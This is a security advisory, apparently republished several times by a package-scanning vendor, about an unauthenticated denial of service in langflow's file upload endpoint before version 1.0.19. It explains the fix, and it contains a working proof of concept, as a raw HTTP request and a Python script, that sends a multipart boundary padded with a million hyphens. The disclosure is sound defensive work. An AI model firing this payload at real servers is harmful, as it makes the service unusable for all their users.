### Summary An attacker can send a `/api/v1/files/upload/` request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time. ### Details https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40 The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users. Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID. ### PoC An attacker makes this request to upload a file without valid authentication information or a valid flow ID: ``` POST /api/v1/files/upload/test HTTP/1.1 Host: 127.0.0.1:7860 Content-Length: 3000192 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ Accept: application/json, text/plain, */* Origin: http://127.0.0.1:7860 Accept-Encoding: gzip, deflate, br Connection: keep-alive ------WebKitFormBoundaryorGBAKSkv5wR6WqJ Content-Disposition: form-data; name="file"; filename="dos.txt" Content-Type: text/plain DoS in progress! ------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------<insert a large amount of hyphens such as 1,000,000> ``` Here is the request in python: ```python import requests url = "http://127.0.0.1:7860/api/v1/files/upload/test" headers = { "Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ" } data = ( "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n" "Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n" "Content-Type: text/plain\r\n\r\n" "DoS in progress\r\n" "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n" ) response = requests.post(url, headers=headers, data=data) ``` The app will then be stuck in the "server is busy" state for all users: <img width="733" alt="image" src="https://github.com/user-attachments/assets/227169d8-f1b7-4072-8c09-e416e4808d05"> ### Impact Sending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want. ### Patches Fixed in **1.0.19** via PR [#3923](https://github.com/langflow-ai/langflow/pull/3923). A `check_boundary` HTTP middleware was added that validates the multipart boundary (`^[\w\-]{1,70}$`) and rejects malformed requests — including the oversized-hyphen payload — with `HTTP 422` **before** the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (`get_current_active_user` + `403` on mismatch), closing the unauthenticated access vector. Upgrade to **1.0.19 or later**.
### Summary An attacker can send a `/api/v1/files/upload/` request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time. ### Details https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40 The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users. Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID. ### PoC An attacker makes this request to upload a file without valid authentication information or a valid flow ID: ``` POST /api/v1/files/upload/test HTTP/1.1 Host: 127.0.0.1:7860 Content-Length: 3000192 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ Accept: application/json, text/plain, */* Origin: http://127.0.0.1:7860 Accept-Encoding: gzip, deflate, br Connection: keep-alive ------WebKitFormBoundaryorGBAKSkv5wR6WqJ Content-Disposition: form-data; name="file"; filename="dos.txt" Content-Type: text/plain DoS in progress! ------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------<insert a large amount of hyphens such as 1,000,000> ``` Here is the request in python: ```python import requests url = "http://127.0.0.1:7860/api/v1/files/upload/test" headers = { "Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ" } data = ( "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n" "Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n" "Content-Type: text/plain\r\n\r\n" "DoS in progress\r\n" "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n" ) response = requests.post(url, headers=headers, data=data) ``` The app will then be stuck in the "server is busy" state for all users: <img width="733" alt="image" src="https://github.com/user-attachments/assets/227169d8-f1b7-4072-8c09-e416e4808d05"> ### Impact Sending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want. ### Patches Fixed in **1.0.19** via PR [#3923](https://github.com/langflow-ai/langflow/pull/3923). A `check_boundary` HTTP middleware was added that validates the multipart boundary (`^[\w\-]{1,70}$`) and rejects malformed requests — including the oversized-hyphen payload — with `HTTP 422` **before** the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (`get_current_active_user` + `403` on mismatch), closing the unauthenticated access vector. Upgrade to **1.0.19 or later**.
Update langflow to 1.0.19 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanLangflow: Unauthenticated DoS through multipart form boundary file upload affects langflow (pip). Severity is high. ### Summary An attacker can send a `/api/v1/files/upload/` request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time. ### Details https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40 The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users. Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID. ### PoC An attacker makes this request to upload a file without valid authentication information or a valid flow ID: ``` POST /api/v1/files/upload/test HTTP/1.1 Host: 127.0.0.1:7860 Content-Length: 3000192 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ Accept: application/json, text/plain, */* Origin: http://127.0.0.1:7860 Accept-Encoding: gzip, deflate, br Connection: keep-alive ------WebKitFormBoundaryorGBAKSkv5wR6WqJ Content-Disposition: form-data; name="file"; filename="dos.txt" Content-Type: text/plain DoS in progress! ------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------<insert a large amount of hyphens such as 1,000,000> ``` Here is the request in python: ```python import requests url = "http://127.0.0.1:7860/api/v1/files/upload/test" headers = { "Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ" } data = ( "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n" "Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n" "Content-Type: text/plain\r\n\r\n" "DoS in progress\r\n" "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n" ) response = requests.post(url, headers=headers, data=data) ``` The app will then be stuck in the "server is busy" state for all users: <img width="733" alt="image" src="https://github.com/user-attachments/assets/227169d8-f1b7-4072-8c09-e416e4808d05"> ### Impact Sending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want. ### Patches Fixed in **1.0.19** via PR [#3923](https://github.com/langflow-ai/langflow/pull/3923). A `check_boundary` HTTP middleware was added that validates the multipart boundary (`^[\w\-]{1,70}$`) and rejects malformed requests — including the oversized-hyphen payload — with `HTTP 422` **before** the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (`get_current_active_user` + `403` on mismatch), closing the unauthenticated access vector. Upgrade to **1.0.19 or later**.
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| langflowpip | <1.0.19 | 1.0.19 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate langflow to 1.0.19 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanLangflow: Unauthenticated DoS through multipart form boundary file upload affects langflow (pip). Severity is high. ### Summary An attacker can send a `/api/v1/files/upload/` request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time. ### Details https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40 The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users. Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID. ### PoC An attacker makes this request to upload a file without valid authentication information or a valid flow ID: ``` POST /api/v1/files/upload/test HTTP/1.1 Host: 127.0.0.1:7860 Content-Length: 3000192 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ Accept: application/json, text/plain, */* Origin: http://127.0.0.1:7860 Accept-Encoding: gzip, deflate, br Connection: keep-alive ------WebKitFormBoundaryorGBAKSkv5wR6WqJ Content-Disposition: form-data; name="file"; filename="dos.txt" Content-Type: text/plain DoS in progress! ------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------<insert a large amount of hyphens such as 1,000,000> ``` Here is the request in python: ```python import requests url = "http://127.0.0.1:7860/api/v1/files/upload/test" headers = { "Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ" } data = ( "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n" "Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n" "Content-Type: text/plain\r\n\r\n" "DoS in progress\r\n" "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n" ) response = requests.post(url, headers=headers, data=data) ``` The app will then be stuck in the "server is busy" state for all users: <img width="733" alt="image" src="https://github.com/user-attachments/assets/227169d8-f1b7-4072-8c09-e416e4808d05"> ### Impact Sending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want. ### Patches Fixed in **1.0.19** via PR [#3923](https://github.com/langflow-ai/langflow/pull/3923). A `check_boundary` HTTP middleware was added that validates the multipart boundary (`^[\w\-]{1,70}$`) and rejects malformed requests — including the oversized-hyphen payload — with `HTTP 422` **before** the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (`get_current_active_user` + `403` on mismatch), closing the unauthenticated access vector. Upgrade to **1.0.19 or later**.
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| langflowpip | <1.0.19 | 1.0.19 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard